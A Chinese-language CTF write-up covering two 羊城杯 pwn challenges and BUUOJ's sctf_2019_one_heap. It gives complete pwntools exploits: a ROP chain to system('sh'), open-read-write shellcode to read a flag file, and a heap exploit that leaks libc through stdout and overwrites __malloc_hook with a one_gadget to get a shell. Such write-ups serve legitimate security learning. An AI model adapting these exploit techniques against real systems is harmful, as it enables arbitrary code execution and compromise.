羊城杯复现

BabyRop

有溢出,有system,有/cin/sh(只用sh即可)。

exp:
1
2
3
4
5
6
7
8
9
10
11
from pwn import*

context.log_level='debug'
r=process('./BabyRop')
#r=remote('192.168.40.244',11000)
elf=ELF('./BabyRop')
gdb.attach(r)
p='a'*28+'b'*4+p32(0x80490a4)+p32(1)+p32(0x804C029)
#system #sh
r.sendline(p)
r.interactive()

nologin

main函数

avatar

主要看sub_400f87这个函数

avatar

这里注意v1,然后看sub_40095d函数

avatar

看出可以溢出,但只能溢出16个字节。

可以直接改返回地址为read_plt,将内容写到rsi对应地址里,再call rsi;

1
payload='aaaasaaaaaaaa'+p64(elf.plt['read'])+p64(call_rsi)

read内容(只能写入0x1d个字节):利用syscall将orw写入一个空余地址并且迁移:

1
2
3
4
5
6
7
8
9
shellcode=asm('''
xor rax, rax;
push r11;
pop rdx;
mov rsi, 0x602100;
syscall;
add rsi, 24; #根据orw调整
jmp rsi;
''')

orw:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
shellcode1=asm('''
xor rax, rax;
mov rax, 2;
sub rsi, 0x14;
mov rdi, rsi;
xor rsi, rsi;
syscall;

mov rdi, rax;
xor rax, rax;
mov rsi, 0x602300;
mov rdx, 0x30;
syscall;

mov rax, 1;
mov rdi, 1;
syscall;
''')

r.sendline('b'*11+'./flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'+shellcode1)
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import*
from LibcSearcher import*
#context.log_level='debug'
context(arch='amd64', os='linux')
r=process('./nologin')
#r=remote('node4.buuoj.cn',)
elf=ELF('./nologin')
r.sendline('2')
sleep(0.1)
gdb.attach(r)
main=0x40106B
call_rsi=0x40186b

payload='aaaasaaaaaaaa'+p64(elf.plt['read'])+p64(call_rsi)
r.sendline(payload)
shellcode=asm('''
xor rax, rax;
push r11;
pop rdx;
mov rsi, 0x602100;
syscall;
add rsi, 24;
jmp rsi;
''')

r.sendline(shellcode)

shellcode1=asm('''
xor rax, rax;
mov rax, 2;
sub rsi, 0x14;
mov rdi, rsi;
xor rsi, rsi;
syscall;

mov rdi, rax;
xor rax, rax;
mov rsi, 0x602300;
mov rdx, 0x30;
syscall;

mov rax, 1;
mov rdi, 1;
syscall;
''')

r.sendline('b'*11+'./flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'+shellcode1)

r.interactive()

buu刷题:

sctf_2019_one_heap

1.main

avatar

2.add

avatar

只能add15次。

3.dele

avatar

只能dele4次

步骤

1.首先还是构造unsorted bin与tcache bin重合的布局,由于delete次数只能用4次,我们先double free,然后多次add,使得tcache bin对应的count计数变为负数。由于count为无符号数,因此count>7将成立。从而,我们接下来free的时候就能得到unsorted bin。

1
2
3
4
5
6
7
8
9
10
add(0x7f,'aaaaaa'+'\n') #0
dele()
dele()
add(0x10,'sss'+'\n') #1
dele()
add(0x20,'ss'+'\n') #2
add(0x7f,'\n')
add(0x7f,'\n')
add(0x7f,'\n')
dele()

2.然后就是修改next指针,申请到_IO_2_1_stdout进行劫持来泄露数据了。接下来,delete功能已经用完了。我们还得想办法控制chunk1的next域。此时,用到了*unsorted bin expand*****的方法,即将**unsorted bin******的**size******篡改大****,将chunk1给包含进来,然后通过分配,使得分配的chunk与free状态的chunk1重合,这样,我们就能控制chunk1的next指针,指向malloc_hook,然后改写即可。

exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import*
from LibcSearcher import*
context.log_level='debug'
#r=process('./sctf_2019_one_heap')
r=remote('node4.buuoj.cn',25679)
elf=ELF('./sctf_2019_one_heap')
libc=ELF('./libc-2.27.so')
#libc=ELF('./libc-2.27.so')
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
malloc_hook_s = libc.symbols['__malloc_hook']
realloc_s = libc.sym['realloc']
one_gadget_s = 0x10a38c
def add(size,test):
r.sendlineafter(':','1')
r.sendlineafter(':',str(size))
r.sendafter(':',test)

def dele():
r.sendlineafter(':','2')


add(0x7f,'aaaaaa'+'\n')
dele()
dele()
add(0x10,'sss'+'\n')
dele()
add(0x20,'ss'+'\n')
add(0x7f,'\n')
add(0x7f,'\n')
add(0x7f,'\n')
dele()
add(0x20,p16((0x5 << 0xC) + (_IO_2_1_stdout_s & 0xFFF))+'\n')
add(0x7F,'a'*0x20 + p64(0) + p64(0x81)+'\n' )
add(0x7F,p64(0x0FBAD1887) +p64(0)*3 + p8(0x58)+'\n')

libc_base = u64(r.recv(6).ljust(8,'\x00')) - 0x3E82A0

malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget_s
realloc_addr = libc_base + realloc_s
add(0x70,'a'*0x60 + p64(malloc_hook_addr - 0x8)+'\n')
print hex(libc_base)

#gdb.attach(r)
add(0x10,'a\n')
add(0x10,p64(one_gadget_addr) + p64(realloc_addr+4))
#getshell
add(0,'')

r.interactive()